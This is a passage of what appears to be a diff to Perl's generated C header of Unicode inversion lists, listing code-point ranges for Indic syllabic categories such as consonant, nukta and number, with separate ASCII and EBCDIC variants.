0xA81, - 0xA83, - 0xB01, - 0xB03, - 0xB82, - 0xB83, - 0xC00, - 0xC03, - 0xC81, - 0xC83, - 0xD00, - 0xD03, - 0xD82, - 0xD83, - 0xE4D, - 0xE4E, - 0xECD, - 0xECE, - 0xF7E, - 0xF7F, - 0xF82, - 0xF84, - 0x1036, - 0x1037, - 0x17C6, - 0x17C7, - 0x1932, - 0x1933, - 0x1A74, - 0x1A75, - 0x1B00, - 0x1B03, - 0x1B80, - 0x1B81, - 0x1C34, - 0x1C36, - 0xA80B, - 0xA80C, - 0xA873, - 0xA874, - 0xA880, - 0xA881, - 0xA8C5, - 0xA8C6, - 0xA8F2, - 0xA8F4, - 0xA980, - 0xA982, - 0x10A0E, - 0x10A0F, - 0x11000, - 0x11002, - 0x11080, - 0x11082, - 0x11100, - 0x11102, - 0x11180, - 0x11182, - 0x11234, - 0x11235, - 0x112DF, - 0x112E0, - 0x11300, - 0x11303, - 0x1135E, - 0x11360, - 0x11443, - 0x11445, - 0x114BF, - 0x114C1, - 0x115BC, - 0x115BE, - 0x1163D, - 0x1163E, - 0x116AB, - 0x116AC, - 0x11A35, - 0x11A39, - 0x11A96, - 0x11A97, - 0x11C3C, - 0x11C3E, - 0x11CB5, - 0x11CB7, - 0x11D40, - 0x11D41 -}; - -static const UV PL_INSC__BRAHMIJOININGNUMBER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11052, - 0x11066 -}; - -static const UV PL_INSC__CANTILLATIONMARK_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0xAFA, - 0xAFD, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE2, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0xA8E0, - 0xA8F2, - 0x1123E, - 0x1123F, - 0x11366, - 0x1136D, - 0x11370, - 0x11375 -}; - -static const UV PL_INSC__CONSONANT_invlist[] = { /* for all charsets */ - 299, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x915, - 0x93A, - 0x958, - 0x960, - 0x978, - 0x980, - 0x995, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0x9F0, - 0x9F2, - 0xA15, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA95, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xAF9, - 0xAFA, - 0xB15, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB60, - 0xB71, - 0xB72, - 0xB95, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xC15, - 0xC29, - 0xC2A, - 0xC3A, - 0xC58, - 0xC5B, - 0xC95, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCDE, - 0xCDF, - 0xD15, - 0xD3B, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE2F, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEAF, - 0xEDC, - 0xEE0, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0x1000, - 0x1021, - 0x103F, - 0x1040, - 0x1050, - 0x1052, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1703, - 0x170D, - 0x170E, - 0x1712, - 0x1723, - 0x1732, - 0x1743, - 0x1752, - 0x1763, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17A3, - 0x1901, - 0x191F, - 0x1950, - 0x1963, - 0x1980, - 0x19AC, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A4D, - 0x1A53, - 0x1A55, - 0x1B13, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B8A, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBB, - 0x1BBE, - 0x1BC0, - 0x1BE4, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA85E, - 0xA862, - 0xA866, - 0xA869, - 0xA871, - 0xA872, - 0xA873, - 0xA892, - 0xA8B4, - 0xA90A, - 0xA922, - 0xA930, - 0xA947, - 0xA989, - 0xA98C, - 0xA98F, - 0xA9B3, - 0xA9E0, - 0xA9E5, - 0xA9E7, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA06, - 0xAA29, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA74, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAE2, - 0xAAEB, - 0xABC0, - 0xABCE, - 0xABD0, - 0xABD1, - 0xABD2, - 0xABDB, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x11013, - 0x11038, - 0x1108D, - 0x110B0, - 0x11107, - 0x11127, - 0x11155, - 0x11173, - 0x11191, - 0x111B3, - 0x11208, - 0x11212, - 0x11213, - 0x1122C, - 0x11284, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112BA, - 0x112DF, - 0x11315, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1140E, - 0x11435, - 0x1148F, - 0x114B0, - 0x1158E, - 0x115AF, - 0x1160E, - 0x11630, - 0x1168A, - 0x116AB, - 0x11700, - 0x1171A, - 0x11A0B, - 0x11A33, - 0x11A5C, - 0x11A84, - 0x11C0E, - 0x11C2F, - 0x11C72, - 0x11C90, - 0x11D0C, - 0x11D31 -}; - -static const UV PL_INSC__CONSONANTDEAD_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9CE, - 0x9CF, - 0xD54, - 0xD57, - 0xD7A, - 0xD80 -}; - -static const UV PL_INSC__CONSONANTFINAL_invlist[] = { /* for all charsets */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1930, - 0x1932, - 0x1933, - 0x193A, - 0x19C1, - 0x19C8, - 0x1A58, - 0x1A5A, - 0x1BBE, - 0x1BC0, - 0x1BF0, - 0x1BF2, - 0x1C2D, - 0x1C34, - 0xA8B4, - 0xA8B5, - 0xA94F, - 0xA953, - 0xAA40, - 0xAA4E, - 0xABDB, - 0xABE3, - 0x11A8A, - 0x11A96 -}; - -static const UV PL_INSC__CONSONANTHEADLETTER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF88, - 0xF8D -}; - -static const UV PL_INSC__CONSONANTKILLER_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE4C, - 0xE4D, - 0x17CD, - 0x17CE -}; - -static const UV PL_INSC__CONSONANTMEDIAL_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA75, - 0xA76, - 0xEBC, - 0xEBE, - 0x103B, - 0x103F, - 0x105E, - 0x1061, - 0x1082, - 0x1083, - 0x1A55, - 0x1A57, - 0xA9BE, - 0xA9C0, - 0xAA33, - 0xAA37, - 0x1171D, - 0x11720, - 0x11A3B, - 0x11A3F, - 0x11D47, - 0x11D48 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for ASCII/Latin1 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E, - 0xA0, - 0xA1, - 0xD7, - 0xD8, - 0xA72, - 0xA74, - 0x104E, - 0x104F, - 0x1900, - 0x1901, - 0x2010, - 0x2015, - 0x25CC, - 0x25CD, - 0xAA74, - 0xAA77, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x60, - 0x61, - 0xBF, - 0xC0, - 0xA72, - 0xA74, - 0x104E, - 0x104F, - 0x1900, - 0x1901, - 0x2010, - 0x2015, - 0x25CC, - 0x25CD, - 0xAA74, - 0xAA77, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x60, - 0x61, - 0xBF, - 0xC0, - 0xA72, - 0xA74, - 0x104E, - 0x104F, - 0x1900, - 0x1901, - 0x2010, - 0x2015, - 0x25CC, - 0x25CD, - 0xAA74, - 0xAA77, - 0x11A3F, - 0x11A40, - 0x11A45, - 0x11A46 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_INSC__CONSONANTPRECEDINGREPHA_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD4E, - 0xD4F, - 0x11D46, - 0x11D47 -}; - -static const UV PL_INSC__CONSONANTPREFIXED_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x111C2, - 0x111C4, - 0x11A3A, - 0x11A3B, - 0x11A86, - 0x11A8A -}; - -static const UV PL_INSC__CONSONANTSUBJOINED_invlist[] = { /* for all charsets */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0x1929, - 0x192C, - 0x1A57, - 0x1A58, - 0x1A5B, - 0x1A5F, - 0x1BA1, - 0x1BA4, - 0x1BAC, - 0x1BAE, - 0x1C24, - 0x1C26, - 0xA867, - 0xA869, - 0xA871, - 0xA872, - 0xA9BD, - 0xA9BE, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB0 -}; - -static const UV PL_INSC__CONSONANTSUCCEEDINGREPHA_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x17CC, - 0x17CD, - 0x1A5A, - 0x1A5B, - 0x1B03, - 0x1B04, - 0x1B81, - 0x1B82, - 0xA982, - 0xA983 -}; - -static const UV PL_INSC__CONSONANTWITHSTACKER_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCF1, - 0xCF3, - 0x11003, - 0x11005 -}; - -static const UV PL_INSC__GEMINATIONMARK_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA71, - 0xA72, - 0x11237, - 0x11238, - 0x11A98, - 0x11A99 -}; - -static const UV PL_INSC__INVISIBLESTACKER_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1039, - 0x103A, - 0x17D2, - 0x17D3, - 0x1A60, - 0x1A61, - 0x1BAB, - 0x1BAC, - 0xAAF6, - 0xAAF7, - 0x10A3F, - 0x10A40, - 0x11133, - 0x11134, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11D45, - 0x11D46 -}; - -static const UV PL_INSC__MODIFYINGLETTER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB83, - 0xB84 -}; - -static const UV PL_INSC__NONJOINER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x200C, - 0x200D -}; - -static const UV PL_INSC__NUKTA_invlist[] = { /* for all charsets */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93C, - 0x93D, - 0x9BC, - 0x9BD, - 0xA3C, - 0xA3D, - 0xABC, - 0xABD, - 0xAFD, - 0xB00, - 0xB3C, - 0xB3D, - 0xCBC, - 0xCBD, - 0xF39, - 0xF3A, - 0x1B34, - 0x1B35, - 0x1BE6, - 0x1BE7, - 0x1C37, - 0x1C38, - 0xA9B3, - 0xA9B4, - 0x10A38, - 0x10A3B, - 0x110BA, - 0x110BB, - 0x11173, - 0x11174, - 0x111CA, - 0x111CB, - 0x11236, - 0x11237, - 0x112E9, - 0x112EA, - 0x1133C, - 0x1133D, - 0x11446, - 0x11447, - 0x114C3, - 0x114C4, - 0x115C0, - 0x115C1, - 0x116B7, - 0x116B8, - 0x11D42, - 0x11D43 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_INSC__NUMBER_invlist[] = { /* for ASCII/Latin1 */ - 87, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x10A40, - 0x10A48, - 0x11066, - 0x11070, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__NUMBER_invlist[] = { /* for EBCDIC 1047 */ - 87, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x10A40, - 0x10A48, - 0x11066, - 0x11070, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_INSC__NUMBER_invlist[] = { /* for EBCDIC 037 */ - 87, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x10A40, - 0x10A48, - 0x11066, - 0x11070, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_INSC__NUMBERJOINER_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1107F, - 0x11080 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_INSC__OTHER_invlist[] = { /* for ASCII/Latin1 */ - 613, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E, - 0x30, - 0x3A, - 0xA0, - 0xA1, - 0xB2, - 0xB4, - 0xD7, - 0xD8, - 0x900, - 0x950, - 0x951, - 0x953, - 0x955, - 0x964, - 0x966, - 0x970, - 0x972, - 0x980, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA74, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE2F, - 0xE30, - 0xE3B, - 0xE40, - 0xE46, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEAF, - 0xEB0, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC8, - 0xECC, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF86, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x104E, - 0x104F, - 0x1050, - 0x109E, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17D4, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE2, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DFB, - 0x1DFC, - 0x200C, - 0x200E, - 0x2010, - 0x2015, - 0x2074, - 0x2075, - 0x2082, - 0x2085, - 0x25CC, - 0x25CD, - 0xA800, - 0xA802, - 0xA803, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F4, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA980, - 0xA9C1, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E6, - 0xA9E7, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAAE0, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABC0, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x11000, - 0x11047, - 0x11052, - 0x11070, - 0x1107F, - 0x110BB, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11180, - 0x111C4, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 